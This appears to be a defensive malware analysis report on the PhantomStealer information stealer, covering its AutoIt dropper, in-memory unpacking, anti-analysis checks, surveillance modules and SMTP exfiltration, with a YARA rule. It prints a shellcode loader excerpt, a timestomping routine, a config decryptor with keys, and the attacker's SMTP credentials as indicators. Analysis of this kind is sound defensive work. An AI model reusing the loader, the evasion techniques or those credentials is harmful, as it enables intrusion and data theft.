Phantom Stealer Analysis

Overview

PhantomStealer is a critical information stealer with multiple data-exfiltration mechanisms. Although its behavior resembles the RedLine Stealer family, structural differences suggest that it was developed independently. The sample emerged in late 2025 and has been observed in phishing campaigns targeting both corporate networks and individual users, particularly through fake bank-transfer emails and ISO packages in Russia.

In its first stage, the malware is packed with AutoIt to evade security products and executes its core malicious flow primarily in RAM without leaving a conventional on-disk payload trail.

Once deployed, it can target:

• Credentials and session cookies stored in Chromium- and Gecko-based browsers,
• Desktop and browser-extension cryptocurrency wallets,
• Session tokens belonging to desktop messaging clients such as Discord and Telegram,
• FTP clients such as FileZilla and WinSCP, as well as email clients such as Outlook,
• Critical user documents in directories such as Desktop, Downloads, OneDrive, and DropBox.

It can also record keystrokes in the background, periodically capture screenshots, and replace cryptocurrency wallet addresses copied to the clipboard with attacker-controlled addresses from its configuration.

Risk Level: Critical

Contents

1. Overview
2. z28FKG-90.exe Analysis
   • Static Analysis
   • Dynamic Analysis
3. Stub.exe Analysis
   • Static Analysis
   • Dynamic Analysis
4. YARA Rule
5. MITRE ATT&CK Table
6. Recommendations
7. Prepared By

z28FKG-90.exe Analysis

Static Analysis

When the first-stage dropper was examined with Detect It Easy (DIE), it was found to have high entropy and to be packed with the AutoIt compiler. The high entropy supports the conclusion that the core malicious content is stored in encrypted or compressed form inside the file.

DIE output showing compilation with AutoIt

The DIE entropy view shows approximately 7.45 bits/byte and a 93% packed ratio, indicating that a substantial portion of the dropper content is compressed or encrypted.

DIE packed status and entropy value

After the original file was decompiled with AutoIt-Ripper, the primary AutoIt script and two encrypted payloads named hurtling and pteropod were extracted. Static review showed deliberate obfuscation, with malicious fragments hidden among legitimate SysAnimate32 functions. The malware uses a custom character-shifting routine named VJRMKBBB to decrypt commands at runtime and triggers the main malicious control flow through CallWindowProc after decoding the components written to the Temp directory.

Extraction of the AutoIt script and embedded malicious files with AutoIt-Ripper

The following excerpt is retained from the blog analysis workflow to show the relevant AutoIt control flow:

;Payload routine
FileInstall ( "hurtling" , @TempDir & "\hurtling" , 1 )
FileInstall ( "pteropod" , @TempDir & "\pteropod" , 1 )
$WBWTLOYAG = $SIUBUYBNEU ( @TempDir & "\pteropod" ) ;Read the file dropped into Temp
$WBWTLOYAG = VJRMKBBB ( $WBWTLOYAG , "6" ) ;Decode the content with VJRMKBBB

;Allocate RWX (0x40) memory through kernel32.dll / VirtualAlloc
$GTPKOHIOT = DllCall ( "kernel32.dll" , "ptr" , "VirtualAlloc" , "ptr" , 0 , "int" , $DHUOOWHG , "int" , 0x3000 , "int" , 0x40 ) [ 0 ]

;Write the decoded malicious content into the allocated structure
$LZFNUABDCE = DllStructCreate ( "byte[" & $DHUOOWHG & "]" , $GTPKOHIOT )
DllStructSetData ( $LZFNUABDCE , 1 , $WBWTLOYAG )

;HOOK section
;The original control flow called CallWindowProc directly.
;A MsgBox was inserted so x32dbg could attach before the shellcode was executed.
;Original call: DllCall("user32.dll", "ptr", "CallWindowProc", "ptr", $GTPKOHIOT + 9184, "ptr", 0, "ptr", 0, "ptr", 0, "ptr", 0)

Local $PayloadAddress = "0x" & Hex($GTPKOHIOT)
MsgBox(48, "HOOK", "Payload is now in memory" & @CRLF & "Target memory: " & $PayloadAddress & @CRLF & "Attach and navigate to the address in the memory map")
DllCall("user32.dll", "ptr", "CallWindowProc", "ptr", $GTPKOHIOT + 9184, "ptr", 0, "ptr", 0, "ptr", 0, "ptr", 0)

Dynamic Analysis

To examine the malware’s in-memory behavior, the process was traced with x32dbg and VirtualAlloc calls were monitored. Three principal allocation stages were observed.

First VirtualAlloc stage: Raw shellcode without a valid PE structure was written into memory.

Raw data written during the first VirtualAlloc stage

Second VirtualAlloc stage: An intermediate EXE with a valid PE structure was unpacked into RAM, allowing execution to transition away from the AutoIt layer.

Second VirtualAlloc stage

Verification that the second-stage memory object is an EXE

Third VirtualAlloc stage: A clean copy of ntdll.dll containing the Rtl*, Zw*, and Ldr* APIs was mapped into memory. This behavior is consistent with an API unhooking approach intended to bypass user-mode API monitoring applied by security products.

Verification of the DLL structure in the third memory stage

Evidence that the mapped component is the original ntdll.dll

The Resource Editor output shows CompanyName as Microsoft Corporation and both InternalName and OriginalFilename as ntdll.dll, confirming that the mapped PE is a clean copy of the legitimate Windows component.

Because the malicious flow proceeds entirely in RAM, a hooking strategy was used to capture the point at which the main payload is decrypted. A MsgBox was inserted immediately before CallWindowProc, pausing execution and exposing the target memory address.

Identifying the target memory address through the MsgBox prompt

While execution was paused at the MsgBox, the running AutoIt3.exe process was attached to with x32dbg and suspended.

Attaching to the AutoIt3.exe process with x32dbg

String dumps from the decoded memory block showed that the legitimate Windows component regsvcs.exe had been selected as the victim process for Process Hollowing.

regsvcs.exe selected as the Process Hollowing victim

The same dump also contained the on-disk path targeted for the final executable. This path was used to validate later breakpoint and payload-extraction stages.

Disk path targeted by the malware

The starting address of the shellcode was calculated from the 9,184-byte (0x23E0) offset in the AutoIt script, and a breakpoint was placed at Base Address + 0x23E0.

kernel32.VirtualAlloc was then monitored. At function return, the newly allocated region was obtained from EAX and a Hardware Write Breakpoint was placed at the beginning of that region. Execution stopped when the shellcode decoded and wrote itself into the allocation, allowing the memory contents to be dumped.

Memory dump recovered after the shellcode write stage

Static examination of the recovered dump showed that it was protected with .NET Reactor and contained a fake Visual C++ shell intended to mislead the analyst.

DIE output of the post-shellcode dump and its misleading stub structure

To isolate the allocation used for the real .NET module, a conditional breakpoint of [esp+8] > 0x30000 was applied to the size parameter passed to VirtualAlloc, filtering out smaller unrelated allocations.

The resulting dump began with meaningless bytes but contained two consecutive MZ headers. The data before the first header was manually removed in a hex editor and the cleaned object was saved for further analysis.

Initial misleading output of the recovered dump and the nested MZ structure

After manual hex editing, the object was confirmed to be a .NET-based carrier DLL.

DIE analysis of the carrier DLL recovered after manual editing

The carrier DLL was opened in dnSpy. Its Resources section contained the actual malicious EXE associated with the second MZ header. Exporting that embedded PE completed the dropper-unpacking chain and yielded the final executable payload.

Extracting the embedded EXE from the dnSpy Resources section

Stub.exe Analysis

The .NET v4.0.30319 value shown by DIE further confirms that the final payload is a managed .NET-based PE.

Stub.exe basic PE metadata view in DIE

Static Analysis

Static examination of the memory-extracted payload showed that it was built for .NET Framework 4.8 and used Costura.Fody to package external dependencies. Resources such as costura.newtonsoft.json.dll.compressed and costura.icsharpcode.sharpziplib.dll.compressed are loaded from memory through AssemblyLoader rather than being written directly to disk.

Costura packages identified in the Resources section

The Config class represents configuration choices as string values "0" and "1" instead of standard Boolean values, suggesting that modules were selected through a builder and the executable was generated automatically.

The malware also uses lazy decryption. InitAsync() decrypts only modules marked as "1" at runtime, while inactive target data remains encrypted in memory. This reduces the amount of cleartext configuration exposed to memory scanners and YARA-based detections.

Encrypted configuration values and hidden constant data

Static analysis also identified a dedicated mutex value, 0MYBS40OAU4OQC15GJX5, used to prevent multiple instances from running simultaneously. This value can serve as a high-confidence host indicator in EDR/SIEM detection logic.

Dynamic Analysis

During dynamic debugging, the malware’s anti-tamper mechanisms interfered with standard tooling. The JIT compiler hook protecting the entry point (prXoP4RuYp) leaves method bodies empty when external intervention is detected, disrupting normal analysis.

Method bodies left empty by the JIT/Method Body Hollowing protection

When a debugger was attached, this behavior triggered a System.NullReferenceException and deliberately crashed the process.

NullReferenceException crash during dynamic analysis

Extreme Dumper was used to bypass this defense. The sample was executed in a controlled environment, captured after injection into regsvcs.exe, and dumped directly from the target process. This recovered method bodies that had already been resolved by the JIT engine, exposing the readable primary payload.

Memory-dump files recovered from regsvcs.exe with Extreme Dumper

The malware contains an extensive AntiAnalysis module intended to identify virtualized and instrumented environments. AntiAnalysis.Run() performs a sequence of checks and calls SelfDestruct.Melt() when suspicious conditions are found:

• GPU check: WMI executes SELECT * FROM Win32_VideoController and searches for virtualization adapters such as VirtualBox Graphics Adapter and VMware SVGA 3D.
• User and device-name checks: Environment.UserName and Environment.MachineName are compared against values such as WDAGUtilityAccount, AppOnFlySupport, John Doe, and test.
• Machine GUID check: The GUID under HKLM\SOFTWARE\Microsoft\Cryptography is compared with identifiers associated with known sandboxes and analysis servers.
• Process check: Active processes are searched for logging and virtualization tools such as Sysmon64.exe and VmRemoteGuest.exe.
• Service check: Hyper-V and VMware services including vmicheartbeat, vmicvss, and vmictimesync are examined.
• Sandbox check: GetModuleHandle is used to detect libraries such as SbieDll.dll and snxhk.dll loaded into the process.
• Timing check: Emulator() measures CPU ticks around Task.Delay(10).Wait() to detect emulators that skip or accelerate sleep operations.
• Network/IP checks: SuspiciousIP() and Dns.GetHostEntry are used to identify systems associated with Google Cloud, Microsoft Azure, or networks linked to known cybersecurity organizations.

Environment and analysis checks implemented by the AntiAnalysis module

HeavensGate: In addition to static environment checks, the malware uses the HeavensGate class to evade 32-bit user-mode API hooks. A temporary transition from the 32-bit context to the 64-bit context allows system calls to be issued toward the kernel and can undermine monitoring that relies only on 32-bit user-mode hooks.

Persistence and Timestomping: The malware copies itself into %RoamingAppData% and establishes persistence through a Registry Run key.

Persistence through the Registry Run key

SetFileCreationDate then modifies the copied file’s creation, last-write, and last-access timestamps to a static date exactly two years in the past: 22 May at 03:16:28. This is intended to hide the fact that the file was newly created during later forensic review.

// Malware timestomping routine
public static void SetFileCreationDate(string path = null)
{
    string text = path ?? Startup.ExecutablePath;
    // Move the timestamps to 22 May at 03:16:28, two years in the past.
    DateTime dateTime = new DateTime(DateTime.Now.Year - 2, 5, 22, 3, 16, 28);
    File.SetCreationTime(text, dateTime);
    File.SetLastWriteTime(text, dateTime);
    File.SetLastAccessTime(text, dateTime);
}

Active surveillance modules: The final payload performs active surveillance in addition to static data theft.

• Screenshot: _intervalMinutes = 30 configures a background thread to capture the screen every 30 minutes and save images as yyyyMMdd_HHmmss.png.
• Keylogger: Keystrokes are accumulated until a counter reaches 100, then written to a temporary file using a MachineName_Date_Time.txt naming scheme before the counter is reset.
• Clipper: The clipboard is monitored with regular-expression patterns; BTC, ETH, LTC, XMR, and SOL wallet addresses can be replaced with attacker-controlled addresses stored in the configuration.

FileGrabber: Beyond browser and wallet data, the malware searches the target system’s file structure. It specifically targets Desktop, MyPictures, Personal, Downloads, DropBox, and OneDrive. DetectFileType matches files against extensions in the configuration and categorizes stolen data as document, database, sourcecode, or image.

File extension categorization performed by the FileGrabber module

Directories targeted by the FileGrabber module

Config.GrabberSizeLimit is used to filter files by size, while unnecessary files such as desktop.ini are skipped. Files that pass both size and extension checks are copied into a virtual directory tree preserving the victim’s original path structure, such as DRIVE-C\Users\UserName\Desktop\..., and are finally compressed with SharpZipLib.

File-size filtering and preservation of the victim disk structure

Network Analysis: Wireshark monitoring showed a two-stage network flow: an initial preparation phase followed by the actual exfiltration phase.

For public-IP discovery, the malware sends a DNS query to icanhazip.com and adds the returned address to the data selected for theft.

Querying the victim's public IP address through icanhazip.com

Instead of a conventional web-based C2 panel, the malware uses SMTP to exfiltrate the archive created with SharpZipLib. This makes the traffic resemble ordinary email activity and can make detection more difficult.

The Base64- and AES-encrypted configuration values inside InitAsync were decoded during analysis with a custom Python decryptor:

import base64
from hashlib import pbkdf2_hmac
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

salt = bytes([102, 51, 111, 51, 75, 45, 49, 49, 61, 71, 45, 78, 55, 86, 74, 116, 111, 122, 79, 87, 82, 114, 61, 40, 116, 78, 90, 66, 102, 75, 43, 98, 83, 55, 70, 121])
password = bytes([59, 38, 75, 70, 33, 77, 33, 104, 56, 94, 105, 84, 58, 60, 41, 97, 63, 126, 109, 88, 101, 78, 42, 126, 111, 63, 103, 78, 91, 118, 64, 114, 81, 61, 66])

cipher_text = input("Encrypted String: ").replace("ENCRYPTED:", "").strip()
data = base64.b64decode(cipher_text)

derived = pbkdf2_hmac('sha1', password, salt, 1000, 48)
key = derived[:32]
iv = derived[32:48]

cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted = unpad(cipher.decrypt(data), 16)

print("\nDecrypted Result:", decrypted.decode('utf-8'))

The recovered indicators were:

• SMTP Server: mail.memcoplast.com (192.64.150.4 - web4.dnchosting.com)
• Sender Address: mina@memcoplast.com
• SMTP Password: MEMCO13579
• Recipient Address: angelinagotze35@gmail.com

After first contacting the SMTP server, the malware sends the victim machine name through the EHLO command and transfers the collected ZIP archive to the attacker as an email attachment.

SMTP session establishment and victim machine name sent through EHLO

YARA Rule

rule Phantom_Stealer_Detector {

    meta:
        author = "M. Murat KİLİT, Muhittin YILMAZER, Burak ÇALIŞGAN"
        date = "2026-04-26"

    strings:
        //AutoIt Dropper Layer
        $dropper1 = "pteropod" ascii wide fullword
        $dropper2 = "hurtling" ascii wide fullword
        $dropper3 = "VJRMKBBB" ascii wide fullword

        //.NET Layer
        //AES values
        $aes_salt = { 66 33 6F 33 4B 2D 31 31 3D 47 2D 4E 37 56 4A 74 }
        $aes_key = { 3B 26 4B 46 21 4D 21 68 38 5E 69 54 3A 3C 29 61 }
        $config_enc = "ENCRYPTED:" ascii wide

        //High-confidence mutex IOC
        $mutex = "0MYBS40OAU4OQC15GJX5" ascii wide fullword

        //Anti-analysis components
        $module1 = "SuspiciousGPU" ascii wide
        $module2 = "GrabberSizeLimit" ascii wide
        $module3 = "AntiAnalysis" ascii wide
        $module4 = "HeavensGate" ascii wide

    condition:
        //File must be a valid PE; limit to 5 MB to reduce CPU cost
        uint16(0) == 0x5A4D and filesize < 5MB and
        (
            //Match the on-disk AutoIt dropper using at least 2 indicators
            2 of ($dropper*)
            or
            //For the decoded in-memory form
            (
                all of ($aes*) and
                (
                    $mutex or
                    $config_enc or
                    2 of ($module*)
                )
            )
        )
}

MITRE ATT&CK Table

Recommendations

1. Passwords stored in web browsers should be changed immediately.
2. Because the observed behavior can bypass traditional antivirus products, behavioral EDR solutions should be preferred.
3. IP addresses and domains identified during analysis should be blocked at the firewall and/or proxy layer.
4. Legitimate Windows processes generating unusual network traffic should be monitored.